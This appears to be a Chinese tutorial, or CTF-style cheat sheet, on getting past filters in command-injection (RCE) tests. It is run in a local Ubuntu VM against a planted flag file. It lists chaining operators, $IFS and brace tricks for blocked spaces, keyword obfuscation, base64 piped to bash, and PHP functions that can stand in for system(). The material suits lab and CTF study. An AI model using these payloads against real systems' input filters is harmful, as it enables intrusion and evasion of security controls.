RCE绕过

环境准备

虚拟机:Ubuntu 20.04.6

首先在根目录生成一个flag方便我们验证

1
echo "flag{`openssl rand -hex 30`}" > /flag

绕过方法

使用;连接命令

ls;cat flag

1
2
3
app  boot   dev  flag  lib    lib64   lost+found  mnt  proc  run   snap  swapfile  tmp  var
bin cdrom etc home lib32 libx32 media opt root sbin srv sys usr
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

使用&连接命令

在Linux系统中,& 符号用于将命令放入后台执行。当你在命令行中输入一个命令并在其后加上 & 时,该命令将会在后台运行,而不会占用当前终端会话。

如果你在两个命令之间放置 &,那么第一个命令将会被放入后台执行,而第二个命令将会立即在前景执行。

ls&cat flag

1
2
3
4
[1] 3134
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}
root@ubuntu:/# app boot dev flag lib lib64 lost+found mnt proc run snap swapfile tmp var
bin cdrom etc home lib32 libx32 media opt root sbin srv sys usr

&&逻辑与(AND)

当使用 && 连接两个命令时,第一个命令必须成功执行(即退出状态码为0)后,第二个命令才会被执行。如果第一个命令失败(退出状态码非0),则第二个命令不会执行。

ls&&cat flag

1
2
3
app  boot   dev  flag  lib    lib64   lost+found  mnt  proc  run   snap  swapfile  tmp  var
bin cdrom etc home lib32 libx32 media opt root sbin srv sys usr
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

cat /f&&cat flag

1
cat: /f: 没有那个文件或目录

||逻辑或(OR)

当使用 || 连接两个命令时,如果第一个命令失败(即退出状态码非0),则第二个命令将会被执行。如果第一个命令成功(退出状态码为0),则第二个命令不会执行。

ls||cat flag

1
2
app  boot   dev  flag  lib    lib64   lost+found  mnt  proc  run   snap  swapfile  tmp  var
bin cdrom etc home lib32 libx32 media opt root sbin srv sys usr

cat /f||cat flag

1
2
cat: /f: 没有那个文件或目录
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

|(管道符)

用于将一个命令的输出作为另一个命令的输入。

ls|cat flag

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

绕过空格过滤

{cat,flag}

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

cat${IFS}flag

$IFS 是一个特殊的 shell 变量,代表内部字段分隔符(Internal Field Separator)

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

cat$IFS/flag

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

cat$IFS${11}flag

在 shell 脚本中,位置参数用于引用传递给脚本的命令行参数。这些参数按照它们在命令行上出现的顺序被编号,从$1 开始,一直到9。对于第十个及以后的参数,需要使用花括号来引用,例如 ${10}、{11} 等。

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

cat<flag

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

cat<>flag

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

过滤关键字

cat f\*或者cat fl*

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

cat fl??

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

cat fl''ag或者cat fl""ag或者cat fl``ag

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

cat fl\ag

在命令行中,如果命令太长,可以使用反斜杠作为续行符,将一个命令分成多行书写,系统会自动去掉\

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

cat fl$@ag或者cat fl$*ag

$*$@ - 都表示所有传递给脚本的参数。如果没有参数,它们默认为空,但行为上有所不同:$* 将所有参数当作一个单独的字符串,而$@ 会将每个参数当作独立的字符串。

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

cat /f${aa}lag

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

cat fl${word}ag或者cat flag$word

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

a=f;b=l;c=a;d=g;cat $a$b$c$d

变量替换

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

cat f${PATH:5:1}${PATH:8:1}${PATH:66:1}

$PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

加密绕过关键词过滤

首先echo cat flag | base64加密cat flag

1
Y2F0IGZsYWcK

执行加密后的命令

echo Y2F0IGZsYWcK | base64 -d | bash

`echo Y2F0IGZsYWcK | base64 -d`

$(echo Y2F0IGZsYWcK | base64 -d)

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

替换cat

tac flag或者more flag或者less flag或者tail flag

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

nl flag

1
1  flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

xxd flag

1
2
3
4
5
00000000: 666c 6167 7b62 3232 3037 3761 6666 3563  flag{b22077aff5c
00000010: 3233 3963 3036 3339 6566 3530 3531 3061 239c0639ef50510a
00000020: 3437 3839 6562 6165 6566 3235 3539 6335 4789ebaeef2559c5
00000030: 3832 3464 6361 6461 6130 3239 3732 3535 824dcadaa0297255
00000040: 357d 0a 5}.

sort flag

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

uniq flag

去除相邻的重复行

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

file -f flag

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}: cannot open `flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}' (No such file or directory)

grep 1 /flag

1
flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}

过滤命令执行函数,如system

1.借助其他的函数

1
2
3
4
5
6
7
8
9
10
echo
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
highlight_file()
反引号 同shell_exec()